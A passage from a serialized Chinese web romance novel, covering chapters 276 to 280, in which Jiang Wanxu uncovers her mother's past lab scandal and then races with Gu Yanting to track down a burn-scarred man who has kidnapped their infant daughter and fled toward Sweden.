他站在江晚絮身后,轻轻拥住了她。
“说吧。”
顾彦廷看向邹祁,语气虽然尊崇,却也带着压迫感,“邹老,晚晚有知情权。不管当年发生了什么,烦请您如实相告。”
邹老校长看着眼前这一对璧人,最终长叹一声,重新戴上了眼镜。
“那是三十多年前的事了……”
老人的声音变得悠远。
“那时候,谢承允和方颖,被很多人看好,觉得他们俩就是金童玉女。谢承允骄傲冲动,而方颖,冷静、细致,她是唯一能跟上谢承允思路的人。”
“他们两个当时在共同研究一种针对基因缺陷的靶向药。”邹老指了指桌上的档案,“这个项目如果成功,能救很多人。但同时也有很大的风险。”
江晚絮翻开档案,看着上面密密麻麻的数据,虽然纸张泛黄,但那些熟悉的化学式让她感到莫名的亲切。
“一开始,外界都在传他们是一对,他们也没否认。那时候,实验室里的灯,经常一亮就是通宵。”
邹老顿了顿,眼神变得有些浑浊。
“那场事故就是发生在方颖读博的第三年。”
“当时实验到了最关键的临床模拟阶段。如果成功,将是医学史上的奇迹。可就在那个节骨眼上,梁霍临找到了谢承允。”
“梁霍临?”顾彦廷眯了眯眼,“环城科技前总裁?”
“没错,就是梁家老爷子。”邹老点头,“他开出了一个天价,想要买断这个专利。你妈妈当时严词拒绝了,她说科学是为了救人,不是资本敛财的工具。可谢承允……”
老人摇了摇头,“谢承允动摇了。他想成立自己的独立实验室,他太缺钱了。搞科研是很烧钱的,没有大量的金钱支持,简直寸步难行。”
江晚絮的心揪了起来。
她能理解谢承允的这种动摇。
当初如果没有顾彦廷,她也同样没办法完成自己的研究,从而自证清白,反驳江家对她的诬陷。
“后来呢?”她急切地问。
“后来……”邹老闭了闭眼,仿佛不忍回忆,“后来,检测结果出来的前一天,实验室失窃了。”
“所有核心数据,不翼而飞。”
“警察调了监控,当晚最后离开实验室的人就是你母亲,方颖。”
“怎么会……”江晚絮喃喃道,“妈妈绝不会做这种事。”
“我们当然不信,但证据确凿。方颖的储物柜里,搜出了环城科技的支票。”邹老苦笑,“我不忍心这丫头年纪轻轻就被送进去,找了好些老朋友出面,才把事情压下去。”
“那天晚上,方颖和谢承允吵了一架。整个楼道都能听见方颖的哭声,她质问谢承允为什么要背叛信仰,质问他是不是为了钱出卖灵魂。”
“再然后……”
邹老的声音低了下去,“当晚深夜,实验室就起火了,烧毁了所有的样本和备用数据。”
“呵。”
江晚絮冷嗤,“毁尸灭迹的手法。”
“火灾之后,谢承允回了欧洲,而方颖……”邹老看着江
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晚絮,“她在火灾后的一个月,就突然宣布嫁给了当时还是个小商人的**嵩。”
一个月。
江晚絮脑海中闪过江明泽那张崩溃的脸。
难道妈妈真的……
**嵩已经**,这件事具体的内情很难再查出来。
可……江晚絮不甘心。
她始终不愿意相信母亲是这样的人。
即便她不喜欢**嵩,也绝不可能做出找人背锅的事情。
不管是精神上的,还是身体上的背叛,她坚信方颖不会去做。
江晚絮只觉得胸口像是堵了一团棉花,闷得发慌。
而且,既然她和谢承允两情相悦,为什么会突然分开?
这其中,梁霍临到底参与了多少?
“我当时找过她。”邹老从档案袋的最底层,抽出一张烧了一半的照片。
照片上,是一个年轻女子的背影,虽然看不清脸,但依然能感受到她的不甘心。
“我问她,值得吗?”
“她什么都没说,只是对我鞠了一躬,然后头也不回地走了。”
“那是她最后一次来A大。拿到博士学位证书的那天,她甚至没有参加毕业典礼。”
邹老摘下眼镜,擦了擦眼角的湿润。
“再后来,她就安心做了江太太。”
江晚絮捧着那张照片,眼泪终于决堤。
“傻瓜……”
她哭着骂道,“妈妈,你真是个大傻瓜。”
顾彦廷将她拥入怀中,眉头紧皱。
“邹爷爷,这份档案,能给我吗?”江晚絮抬起满是泪痕的小脸。
“拿去吧。”邹老摆摆手,仿佛一下子苍老了十岁,“这本来就是属于她的东西。或许,你能替她查清当年的真相,还她一个清白。”
江晚絮郑重地将档案袋抱在怀里。
“我会的。”
她点点头,冲着邹老深深鞠了一躬,“谢谢您。”
“走吧走吧。”
邹老转过身,轻轻吸了吸鼻子。
顾彦廷同邹老告别,两人一起走了。
直到两人上了车离开,邹老才回过身,看着两人离去的方向,喃喃道,“都是命啊……”
第276章 深仇大恨之人
从邹老家出来的时候,天色已经完全暗了下来。
天色有些阴沉,一如江晚絮的心情。
“别怕。”
顾彦廷低声道,“不管我们查到什么,一定会有个交代的。”
江晚絮吸吸鼻子,点了点头。
“顾彦廷。”
“嗯?”顾彦廷发动车子,单手打着方向盘。
“如果……我是说如果,江明泽真的是谢承允的儿子,那大哥他……”江晚絮欲言又止。
“那他就更该庆幸。”
顾彦廷笑了,“做谢承允的儿子,总比做**嵩那个老畜生的种要好。虽然谢承允也不见得就是什么好东西,但至少智商在线。江明泽要是随了**嵩,这辈子也就是个只会窝里横的废物。”
江晚絮:“……”
虽然这话很毒,但居然无法反驳。
“这件事,暂时别告诉江明泽。”顾彦廷看了她一眼,“那个蠢货心理素质太差,告诉他只会坏事。等我们查清楚了,再做打算。”
“嗯。”
江晚絮点了点头,疲惫地靠在椅背上。
车窗外的景物飞速**,像是时光的洪流。
她闭上眼,脑海里全是邹老说的话。
既然妈妈当年研究得那么深,为什么后来彻底放弃了?
还是说,当时的妈妈已经知道了晨曦家族的事情?
那谢承允会不会和晨曦家族之间有关联?
想到这里,江晚絮的心脏莫名地狂跳了一下。
一种很不好的感觉突然就爬了上来。
“怎么了?”顾彦廷察觉到了她的情绪异常。
“顾彦廷,开快点。”
江晚絮抓住顾彦廷的右手,神情焦急,“我想见安安,我想回家见安安!”
那种心慌的感觉越来越强烈,让她坐立难安。
“好。”
顾彦廷没有多问,脚下油门一踩,车子便冲进了夜色里。
原本四十分钟的路程,硬是被他缩短到了二十分钟。
车子刚驶入市区,顾彦廷放在中控台上的手机突然响了。
江晚絮的心一下子就提到了嗓子眼。
顾彦廷接通电话,按了免提。
“少爷!不好了!”
老管家惊慌失措的声音传了出来,带着哭腔,“小小姐……小小姐不见了!”
“吱——!!!”
刺耳的刹车声划破夜空,顾彦廷压抑着内心的焦躁将车子停在了路边。
由于惯性,江晚絮的身体猛地前倾,又被安全带狠狠勒了回来。
但她感觉不到疼。
那一瞬间,她只觉得天旋地转,耳边嗡嗡作响,仿佛整个世界都在崩塌。
“你说什么?”
顾彦廷咬牙问道,“再说一遍。”
“刚才……刚才晚饭后,小小姐在后院的小游乐园玩儿,佣人们都在旁边看着的,可……可也就是一眨眼的功夫,人就没了!”
“监控呢?”顾彦廷厉声喝道。
“监控……监控不知道怎么的,全坏了……”
“可恶!”
顾彦廷狠狠一拳砸在方向盘上。
江晚絮浑身颤抖,脸色惨白。
安安不见了……
“是不是梁霁川?是不是沈曼?”
江晚絮抓住顾彦廷的手臂,声音尖锐,“是不是他们要抢走我的孩子?顾彦廷,救救安安,求求你救救安安!”
她的精神防线在这一刻彻底崩溃。
如果是安安出了事,她真的活不下去了。
“晚晚!看着我!”
顾彦廷抓住她的手臂,强迫她看着自己的眼睛。
“别慌,你不能慌,冷静下来。”
他迅速掏出手机,打给了林舟。
嘱咐一番过后,顾彦廷重新发动车子。
这一次,他的车速快到了极致,眼神里透着一股毁天灭地的杀气。
“坐稳了。”
他说,“不管是谁,敢动安安一根汗**,我要他全家陪葬!”
江晚絮死死咬着嘴唇,强迫自己冷静下来。
“监控坏了……”
江晚絮喃喃自语,眼神逐渐变得清明,“顾彦廷,监控不会无缘无故坏的。如果是**,是为了钱,早就该来电话了。如果没有电话……”
她的心沉到了谷底。
“那就是冲着人来的。”
顾彦廷很认同她的想法。
“或者是冲着我们今天查到的东西来的。”
两人对视一眼,都在对方眼中看到了危险的意味。
如果是为了阻挠他们查当年的真相,那安安……就更加危险了。
两人很快就回到了顾家老宅。
所有的佣人都跪在客厅里,瑟瑟发抖,连大气都不敢出。
顾老太太坐在沙发上,拐杖顿地,脸色铁青。
“砰!”
大门被推开,顾彦廷带着一身寒气走进来,江晚絮紧随其后。
“人呢?”
顾彦廷扫视了一圈跪在地上的佣人,“最后看见安安是在哪里?”
一个年轻的女佣颤巍巍地举起手,“是……是在摇摇马旁边。”
“带路!
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”
一群人浩浩荡荡地冲向后花园。
摇摇马旁边,只有一只粉色的小兔子玩偶。
那是安安最喜欢的玩具,睡觉都要抱着的。
江晚絮捡起那只脏兮兮的兔子抱在怀里。
“安安……”
她低声呼唤,声音有些破碎。
“这里有脚印。”
顾彦廷蹲下身,看着地面上留下的几个浅浅的泥脚印。
这两天一直下雨,如果是从外部进后花园,是一定会踩到泥的。
顺着脚印大概的方向,几人来到了围墙下。
果然有车轮印。
但……对方很狡猾,似乎用了特殊的轮胎,印记并不明显。
“这不是普通的车。”
顾彦廷眯起眼,手指捻了捻泥土,“这个轮胎花纹是被人刻意磨过的。”
江晚絮心头一跳。
“是梁霁川。”
江晚絮咬牙切齿,“肯定是他!”
顾彦廷却不这样想。
“他刚刚和我们有了冲突,如果是梁霁川绑走了安安,那就太明显了。”
江晚絮也反应过来了,“你的意思是,有人想要利用梁霁川和我们之间的矛盾?”
顾彦廷点头,“应该是这样。”
两人对着那道车辙站了一会儿,警察就来了。
警察详细询问了每一个人,在后花园取证的时候,程宇和苏洛敏来了。
“怎么回事?”
苏洛敏直奔江晚絮坐着的沙发。
看到她,江晚絮方才一直紧绷的神经立刻就断了,眼泪夺眶而出。
“敏敏,怎么办?我的安安不见了……敏敏,我,我该怎么办?”
看着两人抱头痛哭的样子,站在一旁的程宇和顾彦廷对视一眼。
“晚晚,”顾彦廷上前一步,“我发动了所有认识的人去找安安,你在家里等着,千万别乱跑。”
程宇也安慰了一句,然后就去后花园和其他警察一起去搜证了。
江晚絮趴在苏洛敏肩头哭了好一会儿,情绪稍好了些。
“晚晚,”苏洛敏安慰她,“你先别着急,你好好想想,除了梁霁川,还有什么人跟你有过节?”
“还会有谁?”江晚絮的声音还有些闷,“最近就只有沈曼和梁霁川跟我过不去。沈曼进去了,梁霁川那边被彦廷打压,最近估计……”
说着说着,江晚絮忽然顿住了。
苏洛敏疑惑,“你想到什么了?”
“还有一个人,”江晚絮咬牙切齿,“跟我有深仇大恨的人……”
第277章 神秘人
“叶寒。”
江晚絮念出这个名字的时候,只觉得喉咙里像塞了无数只苍蝇一样恶心。
除了沈曼和梁霁川,她能想到的跟自己有过节的人,只有叶寒。
顾彦廷正在打电话安排手底下的人加大搜寻力度,听到这个名字,双眸中立刻就迸发出蚀骨的寒意。
“叶寒?”
苏洛敏在一旁也跟着皱了眉,“可是最近几个月他不是一直挺老实的吗?”
她开始回忆这两年叶寒的丰功伟绩。
自从江家和叶家落败后,叶寒就因为屡次挑衅江晚絮,被顾彦廷狠狠收拾,沦为丧家之犬。
叶父叶母早在江芊妤入狱后就搬回了老家,只剩下不甘心的叶寒在京市寻找翻身的机会。
后来……后来就是叶寒用沈曼给的钱,开了装修公司。
“前两天我去建材市场的时候,还听人提起过他。”
苏洛敏看了一眼江晚絮,见她没有其他反应,这才小心翼翼地继续说道,“我倒是听说他搞了个装修公司。虽然规模不大,但好像生意还不错。”
“前几天我还在街上碰到过他,开着辆小宝马,看上去意气风发的。”
“意气风发?”
江晚絮冷笑,“他还挺励志。”
“你怀疑是他绑走了安安?”苏洛敏咬着下唇,有点想不通,“我看他现在过得还算不错啊,他**安安干什么?”
苏洛敏没说的是,被顾彦廷按在地上摩擦了那么多次,要还是没长记性,那就真的该去医院照照脑子了,八成有个巨大的坑。
江晚絮眼底一片赤红,“当时沈曼来挑衅我的时候,叶寒就找过我。”
苏洛敏正要嘲讽,程宇就带着几个警察走了过来。
“晚絮,”他的面色有点凝重,“我们把老宅里里外外都搜遍了,没有任何痕迹,也没人看到什么可疑人物。现在除了后花园那几个脚印和车轮印,对方半点踪迹也没留下。”
“程警官,不如你去见见叶寒,”顾彦廷提议,“说不定有线索。”
“我也去!”江晚絮立刻站起身就想往外走。
程宇看了一眼顾彦廷,见他没有反对,便点了点头,“我也觉得那人不可能那么老实。但为了安全起见,我们一起去。”
“还有我,”苏洛敏抓起车钥匙,“顾总人脉比较广,你就找安安的线索,我陪着晚晚。”
顾彦廷点了点头算是默许。
他还要留下坐镇,如果这件事被媒体知晓,他必须第一时间出面。
“去吧,”他看向江晚絮,“注意安全,有事随时给我打电话。程警官,晚晚就拜托你了。”
三人没有耽误,转身出了顾家老宅。
顾彦廷目送她们三人离开后,也开车去了顾氏,好方便调度人手。
叶寒的装修公司在城西的一条老商业街上。
夜色渐浓,那些商铺的霓虹灯已经全部点亮了。
“到了。”
程宇把车停在路边。
三人下了车,很快就找到了“寒叶装修公司”。
这是个上下两层的门面房,看起来并不怎么起眼。
店里的灯很亮,但只有一个二十出头的小姑娘,坐在前台玩手机。
“您好,请问您要装修吗?”
见有人进来,小姑娘懒洋洋地重复着每天都会说的话。
可当她看清进来的三个人时,不由得就愣了一下。
男帅女美,挺养眼的。
一看就不是普通人。
“叶寒呢?”
不等小姑娘开口,江晚絮就开门见山的问道,“让他出来。”
小姑娘被她阴森森的声音吓了一跳,“叶……叶总?叶总不在啊。”
“不在?”程宇上前一步,亮出自己的证件,“我找他核实一些情况,他现在在哪?”
一看对方是警察,小姑娘一下子就有点慌乱。
“我……我不知道啊,”她有些语无伦次起来,“叶总已经两天没来公司了。前天说是要去看一个项目,去工地了。”
“两天?”
江晚絮心里的不安加重了几分。
“给他打电话,”她厉声道,“现在就打!”
“好好好,我打,我现在就打。”
小姑娘手忙脚乱地拿起座机,拨通了叶寒的号码。
“嘟——嘟——嘟——”
漫长的忙音,却始终没人接听。
自动挂断后,小姑娘又打了两次,还是没人接。
“没人接。”她放下听筒,一脸的茫然,“不应该啊。叶总这人虽然挺爱摆架子,但对生
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意看得很重的,从来不会不接公司的电话。”
叶寒在这个节骨眼上失联,很难让人不怀疑他。
“他去了哪个工地?”苏洛敏追问。
“就是……就是城南那个钢材厂公寓,”小姑娘想了想,“应该是,我听工头说的。”
程宇厉声命令道,“打给工头!”
小姑娘都快吓哭了。
这人明明长得很正派,怎么说话的时候一脸的匪气。
她赶紧在桌子上翻了翻通讯录,给工头打了过去。
很快,电话就通了。
小姑娘直接开了免提。
“喂?谁啊?”电话那头传来嘈杂的声音。
“王哥,是我,小刘。叶总在你们那边吗?”
“叶总?”
王工头大着嗓门嚷嚷起来,“开什么玩笑,我都三天没看见他了!上次他说要把瓷砖的尾款给我结了,到现在都没动静,我还想找他呢!”
“啊?”小刘傻眼了,“他说去你那了啊……”
王工头骂了两句挂了电话。
江晚絮身体晃了晃,苏洛敏赶紧扶住她。
“跑了。”
她咬着牙,眼眶通红,“这个**!肯定是他!”
苏洛敏扶着江晚絮坐到沙发上,转头看向一脸茫然又有些惊恐的小刘。
“妹妹,你别怕,”苏洛敏尽量放缓语气,“你再好好想想,叶寒这段时间有没有什么反常的举动?或者,他最近有没有见过什么奇怪的人?”
“也没什么反常啊,就是脾气很暴躁,动不动就骂人。”“”
“那……”程宇问,“有没有陌生人来找过他?”
小刘摇头,“没有,平时来这边的都是顾客。”
程宇和苏洛敏对视一眼。
看来是查不出什么来了。
江晚絮也明白这一点,站起身就往外走。
这里查不到线索的话,她得赶紧去看看顾彦廷那边有没有什么消息。
三人正要出门,小刘像是想起了什么似的,“哎,我想起来了!”
“什么?!”三人同时回头,看向小刘。
“大概半个月前吧,”小刘回忆,“有个中年男人经常来找叶总。穿得挺普通的,看着也不像是什么大老板,戴着帽子和口罩,说话声音怪怪的。”
第278章 烧伤
一个穿着很古怪的男人曾找过叶寒?
“怎么个古怪法?”程宇问。
小姑娘歪着脑袋想了半天,似乎在组织语言。
“就是……有点意外,像是见了鬼似的。但他好像又认识那个人,而且……而且好像很怕那个人的样子。”
怕?
江晚絮心中一惊。
叶寒最是欺软怕硬,能让他感到害怕的人,还真没几个。
难道是梁霁川?
“后来呢?”苏洛敏问。
“后来那个男人又来了两次。”小姑娘继续说道,“每次叶总都是亲自接待,直接把人带到二楼办公室,一聊就是一个多小时,还把门反锁着。而且……但是叶总没有给我新的装修合同。”
江晚絮的呼吸急促起来。
“那个男人有什么特征吗?”她急切地问,“比如身高,口音,或者是身上有什么特别的地方?”
小姑娘努力回忆着,“身高……大概一米七五左右吧,挺瘦的。口音听着像是本地人,但又有点不像。哦对!”
小姑娘忽然一拍大腿,“他的左手手背上,好像有一块烧伤的疤!我当时给他倒水的时候瞄了一眼,那块疤皱皱巴巴的,看着怪吓人的。”
烧伤。
江晚絮脑海中瞬间闪过邹老校长说过的话。
——当晚深夜,实验室就起火了。
难道那个中年男人,和当年的那场大火有关?!
如果是这样,那安安的失踪,就不仅仅是叶寒报复这么简单了。
“我们走。”
江晚絮转身就往外走,“程宇,麻烦你把那个小姑娘说的特征发给顾彦廷。”
“好。”程宇点头。
回到半山别墅的时候,已经是深夜两点。
顾彦廷还没有回来。
程宇把两人送回来后,简单叮嘱了几句,便又匆匆赶去警局了。
“晚晚,喝点热水吧。”
苏洛敏端着一杯温水走过来,看着缩在沙发上的江晚絮,心也跟着揪成了一团。
江晚絮呆呆地坐在沙发上,眼神空洞地盯着茶几上的一只小兔子玩偶。
那是安安的。
昨天早上出门的时候,安安还抱着这只兔子。
“我不喝。”
江晚絮摇摇头,“敏敏,你说……安安现在会在哪里?有没有饿肚子?那个绑走她的人,会不会打她?”
一想到女儿可能遭受的事情,江晚絮就觉得浑身哪哪都疼。
那种疼她形容不出来,但确实又疼得她连呼吸都不顺畅。
安安才一岁啊!
“不会的,一定不会的。”
苏洛敏放下水杯,坐过去紧紧抱住她,“顾总已经报警了,那人就算胆子再大,也不敢真的对安安怎么样的。他要的无非就是钱,或者是想报复你。”
“如果是报复我……”
江晚絮痛苦地闭上眼睛,“那就冲我来啊!为什么要动我的孩子?我就这么一条命,他拿去好了,为什么要动我的安安……”
“别胡说!”
苏洛敏厉声打断她,“你的命也是命!安安如果知道你想用自己去换她,她会伤心的!”
江晚絮趴在苏洛敏的肩膀上,吸了吸鼻子,哽咽着开口。
“敏敏,我好后悔……我真的好后悔……”
“如果当年没有回江家……是不是这一切都不会发生?”
“我以为我离开叶寒,脱离江家就算熬出头了。可结果呢?”
苏洛敏听着她的哭诉,心如刀绞。
她知道江晚絮有多苦。
“晚晚,你听我说。”
苏洛敏拉着她的手,强压下内心的算出,认真地说道,“你没有错。错的是那些伤害你的人。”
“你要振作起来。”
“如果你倒下了,谁来接她回家?”
江晚絮抽噎着,看向苏洛敏。
是啊。
她不能倒下。
安安还在等着她。
“我不哭……”
江晚絮胡乱地擦着脸上的泪水,深吸了一口气,强迫自己冷静下来,“我不哭……我要等安安回家。”
四月末的京市,风总是很大。
黄沙漫天飘过,将整个天空都染成了淡淡的金色,却也让人觉得窒息。
顾彦廷那边一直没有消息传来。
没有消息,有时候就是好消息。
但也意味着,搜寻陷入了僵局。
这一夜,注定无眠。
苏洛敏一直陪着江晚絮坐在客厅的沙发上,寸步不敢离。
江晚絮始终保持着
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那个姿势,盯着门口的方向。
早上八点,风终于停了。
“咔哒。”
门开了。
江晚絮瞬间从沙发上跳了起来,光着脚就冲向了门口。
顾彦廷一脸疲惫地走了进来。
“顾彦廷!”
江晚絮扑过去,焦急地问,“怎么样?找到了吗?安安呢?有没有安安的消息?”
顾彦廷看着她这副样子,不知道该怎么开口。
他摇了摇头,眼神黯淡。
江晚絮身体一软,整个人向后倒去。
“晚晚!”
顾彦廷眼疾手快,一把将她捞进怀里。
“别怕,别怕。”
他在她耳边低语,与其说是在安慰她,不如说是在安慰自己,“还没有消息,就说明安安还是安全的。至于现在都没有来电话,说明他们现在还没有想好怎么跟我们谈判。”
“可是已经过了一晚上了……”
江晚絮在他怀里痛哭起来,“一晚上了啊!安安要是饿了怎么办?要是渴了怎么办?她会不会害怕地一直哭?顾彦廷,我求求你,一定要把她找回来……”
“我会的,我一定会把我们的女儿带回来的。”
顾彦廷把江晚絮抱在怀里,既心疼又无奈。
这一晚上,他几乎把京市翻了个底朝天。
可是,那个绑走安安的人,就像是凭空消失了一样。
没有勒索电话,没有出城记录,甚至连一点点痕迹都没有。
电话铃声响起,顾彦廷腾出一只手把手机拿了出来。
是程宇。
“查到了!”
“警局的技术科刚刚恢复了一段被恶意删除的路面监控,虽然只有短短的三秒钟,但是拍到了!”
“拍到什么了?”江晚絮抢先喊道。
“拍到了一辆黑色的**面包车,在今天凌晨四点的时候,往机场方向去了。”
机场?!
江晚絮和顾彦廷对视一眼,都在对方眼中看到了震惊。
“而且,”程宇的声音继续传来,“我们顺藤摸瓜,查到了机场的一个监控死角。虽然没拍到正脸,但是拍到了一个男人的背影,手里抱着一个孩子。”
“那个男人左手手背上,有一块明显的烧伤疤痕!”
第279章 你也有今天!
“机场?”
江晚絮看向顾彦廷,“如果是去机场,那……那是想带安安出境?!”
顾彦廷想了想,看向一旁同样焦急的苏洛敏,“陪着她,别让她乱跑,我去警局看看,有消息第一时间通知你们。”
苏洛敏连连点头,“放心吧。”
顾彦廷又叮嘱了几句,转身走了。
“晚晚……”苏洛敏想要给她披上一条毯子,“你睡会儿吧?你已经两天两夜没睡觉了。”
“我不困。”
江晚絮摇头,“敏敏,你说……叶寒真的敢吗?当初江芊妤让他顶罪他都不敢,现在怎么敢**安安?”
苏洛敏叹了口气,在她身边坐下,“狗急了还跳墙呢。叶家败了,他肯定记恨你。这种人什么都做得出来。晚晚,你别想了,程宇不是说已经查到线索了吗,肯定没问题的。”
时间一分一秒的过去。
苏洛敏确实撑不住了。
她本来就不是那种能熬夜的人,加上神经高度紧绷后的突然松懈,很快就有些撑不住了。
“晚晚……我就眯十分钟……你也……眯一会儿……”
苏洛敏的脑袋一点一点的,最后整个人都歪在沙发靠背上,睡着了。
江晚絮看着她眼下的黑青,心底涌出一丝歉意。
她轻轻拿开苏洛敏搭在自己手背上的手,站了起来。
她不想就这样坐着等,这会让她更加胡思乱想。
叶寒既然敢做,就一定有人给他兜底,或者有人给他出谋划策。
谁最恨她?
除了叶寒,就是还在监狱里蹲着的那个女人——沈曼。
想到这儿,她再也坐不住,拿上车钥匙就走出了大门。
车子一路疾驰,最终停在了京市女子监狱的大门口。
“只有十五分钟。”
狱警说完这句话,就打开了探视室的铁门。
江晚絮走了进去。
隔着厚厚的玻璃,她看到了被带进来的沈曼。
才短短一个月不见,沈曼就像是变了个人。
她的头发被剪短了,乱糟糟地贴在头皮上,身上穿着灰扑扑的囚服,整个人看上去都很憔悴。
看到江晚絮,沈曼先是一愣,随即就笑了。
“哟,这不是我们高高在上的江大小姐吗?怎么?来看我笑话?”
沈曼眼神在江晚絮身上转了一圈,“看来你是遇到麻烦了啊。怎么把自己搞成这副人不人鬼不鬼的样子?顾彦廷不要你了?”
江晚絮没有那个闲心跟她打嘴仗。
她抓起听筒,眼神冷厉,“沈曼,我不跟你废话。叶寒在哪?”
沈曼眼皮一跳,“叶寒?那是你前夫,你问**什么?我又不是收破烂的。”
“少跟我装蒜!”
江晚絮用力拍了一下桌子,声音尖锐,“当初是你给叶寒钱让他开公司的!也是你一直在背后唆使他对付我!现在安安不见了,是不是你们干的?!”
听到“安安不见了”这几个字,沈曼的眼睛明显亮了一下。
“哈!哈哈哈哈!”
沈曼突然大笑起来,笑得前仰后合,眼泪都快出来了,“江晚絮啊江晚絮,你也有今天!你活该!!!”
“你闭嘴!”
江晚絮气得浑身发抖,“沈曼,你最好祈祷安安没事,否则我让你死在牢里!”
“吓唬谁呢?”
沈曼收起笑容,隔着玻璃瞪着她,“我现在什么也不怕。我告诉你,别以为你有顾彦廷护着就能一辈子高枕无忧。你女儿不见了,这就是报应!听到没有,这是你的报应!”
江晚絮盯着沈曼的眼睛,很久都没有开口。
“你知道叶寒要跑。”江晚絮突然冷静下来,语气笃定,“你还知道些什么?”
沈曼脸上的表情僵了一下,随即冷哼一声,“我人在牢里,我能知道什么?你也太看得起我了。”
“你人在牢里,但你背后那个人呢?”
江晚絮笃定她身后除了K先生还有其他人,“没有大笔的资金支持,叶寒根本不可能策划这么周密的**,是你,对不对?”
沈曼眯起眼睛,不再说话。
过了半晌,她突然凑近玻璃,压低声音,用口型说了几个字。
虽然没有声音,但江晚絮看懂了。
她在说——“做梦”。
江晚絮放下听筒,转身就走。
身后传来沈曼歇斯底里的吼叫
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声:“江晚絮!你救不回来的!你女儿死定了!他会拉着她一起下地狱的!哈哈哈哈……”
江晚絮脚步一顿,却没有回头。
从监狱到机场,平时要一个小时的车程,江晚絮只用了半个小时。
她一路狂飙,不知闯了多少个红灯。
到达机场大厅的时候,她整个人像是刚从水里捞出来一样,虚脱得厉害。
“请问!”
江晚絮冲到问讯处,一把抓住工作人员的手臂,“今天凌晨四点以到六点的航班都是飞去哪儿的?!”
工作人员被她吓了一跳,“小姐,您冷静一点……我帮您查一下。”
“快点!求求你快点!”
江晚絮的声音带着哭腔。
“有的,现在是淡季,凌晨五点有一班飞往斯德哥尔摩的国际航班。”
斯德哥尔摩?
瑞典?
江晚絮的心凉了半截,“起飞了吗?”
“早就起飞了啊,现在应该都快出境了。”
“那……那还有别的航班吗?我要去瑞典!无论多少钱,最近的一班!”
工作人员噼里啪啦敲了一通键盘,“抱歉小姐,直飞的没有了。最近的一班需要转机,是两个小时后起飞……”
江晚絮从包里掏出一张银行卡,“给我一张票!头等舱,经济舱,货舱都行!只要能让我上去!”
就在这时,一个穿着制服的安检员正好路过,听到她们的对话,停下脚步走了过来。
“那个……姑娘,你是在找什么人吗?”
江晚絮赶紧转头看过去,“大哥,你见过什么可疑的人吗?带着一个一岁左右的小女孩!”
安检员挠了挠头,“是有这么个男的。大概四点多的时候吧,走的那个特殊的VIP通道。因为那个男的长得有点吓人,我就多看了两眼。”
“吓人?”江晚絮愣了愣,“哪里吓人?”
“他戴着墨镜,但是摘眼镜过安检的时候我看了一眼,那眼睛……怎么说呢,眼皮像是被火烧过一样,皱皱巴巴的,眼珠子都有些浑浊。而且他的左手,一直戴着手套,那个小女孩一直在哭,他就用那只戴手套的手捂着孩子的嘴……”
第280章 不要怕
烧伤的眼皮。
戴手套的左手……
江晚絮立刻拿出手机,拨通了顾彦廷的电话。
电话几乎是秒接。
“晚晚?你在哪?苏洛敏说你不见了!”顾彦廷的声音里透着焦急和暴躁。
“顾彦廷……我在机场。”
江晚絮眼泪终于忍不住夺眶而出,“我知道他们在哪里了。他们去了瑞典是那个烧伤男带着安安!”
“我知道。”
顾彦廷的回答让江晚絮一愣。
“你也查到了?”
“刚查到,”顾彦廷语速极快,“晚晚,你听我说,你现在哪里都不要去,我马上就到。”
“你要来?”
“废话!我不去谁去?!”顾彦廷吼道,“你现在的状态能干什么?”
“我要去!”
江晚絮对着电话嘶吼,“那是我的女儿!她在那个变态手里多待一分钟就多一分危险!我已经买了票了,两个小时后的飞机,我要去救她!”
“江晚絮,你给我冷静点!”
“我冷静不了!”
江晚絮挂断了电话。
她擦干眼泪,转身看向工作人员,“给我出票。”
十分钟后,江晚絮拿着登机牌,站在了安检口。
“江晚絮!”
就在她即将跨过安检线的那一刻,身后传来一声怒吼。
整个出发大厅的人都被这一声吼得哆嗦了一下。
江晚絮身体一僵,回头看去。
只见顾彦廷带着一身煞气,朝她这边走了过来。
“你疯了是不是?!”
顾彦廷冲上来,一把拽住她的手腕,“我让你等我!你耳朵聋了吗?!”
江晚絮用力挣扎,“放开我!飞机要起飞了!”
顾彦廷红着眼问她,“瑞典那边你熟吗?那人既然敢去,肯定早就做好了埋伏。你一个人单枪匹马过去,能干什么?!啊?!”
“那我也要去!”
江晚絮泪流满面,“顾彦廷,你没当过母亲,你不懂!安安就是我的命!如果安安没了,我也就不活了!”
顾彦廷看着眼前这个歇斯底里的女人。
曾经的她,优雅、高傲、怯懦。
可是现在,为了孩子,她竟然变得焦躁、冲动,甚至还有些癫狂。
他深吸一口气,强行压下胸口的剧痛。
“好。”
他松开手,却并没有放她走,而是反手紧紧握住了她的手。
“既然你要去,那我陪你去。”
江晚絮愣住了,呆呆地看着他,“你……你说什么?”
“我说,老子陪你去!”
顾彦廷咬着牙,另一只手拿出手机,拨通了林舟的电话。
“林舟,接下来几天公司所有事务由你全权代理,任何文件不用发给我,除非顾氏倒闭了,否则别来烦我。”
挂断,又拨通一个号码。
“奶奶。”
顾彦廷的声音放软了一些,“我要出国一趟。……不是谈生意……对,晚晚也去。……您放心。”
老太太那边似乎说了什么,顾彦廷嗯了几声,挂断了电话。
他给自己也买了一张机票。
换好登机牌后,他像是想起了什么,再次掏出了手机。
“许甜,我们要去瑞典。”顾彦廷开门见山,“有人把安安**了……对,我们查到那人四个小时前去了瑞典……好,那我们一天后见。”
顾彦廷挂断电话,转头看向已经傻掉的江晚絮。
“走吧。”
顾彦廷拉着她的手,大步走向安检口。
两人就这样一同坐上了去往斯德哥尔摩的飞机。
飞机穿越平流层后,渐渐平稳下来。
机舱里很安静。
江晚絮坐在靠窗的位置,看着窗外翻滚的云海。
“喝点水,”顾彦廷把一杯温水递过来,“必须喝。”
江晚絮轻轻摇头。
“我喝不下。”
“喝不下也得喝。”
顾彦廷沉着脸,“你是想等下了飞机直接晕倒,让我背着你去找安安吗?还是说,等找到安安的时候,你这个妈妈只顾着睡觉?”
他的话不好听,但却有用。
江晚絮咬了咬嘴唇,接过杯子,强迫自己把水灌了下去。
“睡会吧。”
顾彦廷接过空杯子,从空姐那里又要来一条薄毯盖在她身上,“还有十个小时,好好睡一觉。”
江晚絮也不再逞强,顺势靠在他肩上。
“顾彦廷。”
她闭着眼睛,轻声开口。
“嗯?”
“你后悔吗?”
“后悔什么?”
“后悔认识我。如果不是我,你就不用卷进这一堆烂摊子里,更不用为了我这样奔波拼命
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。”
顾彦廷的手顿了一下。
“江晚絮,你是不是觉得我有点犯贱?”
顾彦廷没有正面回答,而是低声问道,“你是不是想问为什么我会这么毫无保留地对你好?”
江晚絮没有说话,睫毛颤了颤。
